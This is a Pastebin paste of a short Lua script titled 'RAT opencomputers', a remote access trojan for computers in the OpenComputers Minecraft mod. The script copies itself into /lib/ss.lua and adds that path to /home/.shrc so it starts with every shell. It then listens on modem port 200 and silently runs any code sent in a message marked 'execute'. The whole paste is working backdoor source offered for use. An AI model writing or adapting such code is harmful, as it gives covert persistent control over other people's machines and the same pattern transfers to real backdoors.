Advertisement
Oleshe

RAT opencomputers

Mar 31st, 2023
963
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.73 KB | None | 0 0
  1. local fs = require("filesystem")
  2. local cmp = require('component')
  3. local YOURPATH = '/RAT'
  4. local NOWPATH = '/lib/ss.lua'
  5. local STARTLINE = 0
  6. if cmp.isAvailable('modem') then
  7. cmp.modem.open(200)
  8. if not fs.exists(NOWPATH) then
  9.   a = io.open(NOWPATH,'w')
  10.   b = io.open(YOURPATH,'r')
  11.   for i = 1, STARTLINE do
  12.     b:read()
  13.   end
  14.   idk = ''
  15.   for i = 1, 35 do
  16.     idk = idk .. b:read() .. '\n'
  17.   end
  18.   b:close()
  19.   a:write(idk)
  20.   a:close()
  21.   a = io.open('/home/.shrc','a')
  22.   a:write('\n'..NOWPATH)
  23.   a:close()
  24. end
  25. require('event').listen('modem_message',function(...)
  26.   local e = {...}
  27.   if e[4] == 200 then
  28.     if e[6] == 'execute' then
  29.       pcall(function()
  30.         load(e[7])()
  31.       end)
  32.     end
  33.   end
  34. end)
  35. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement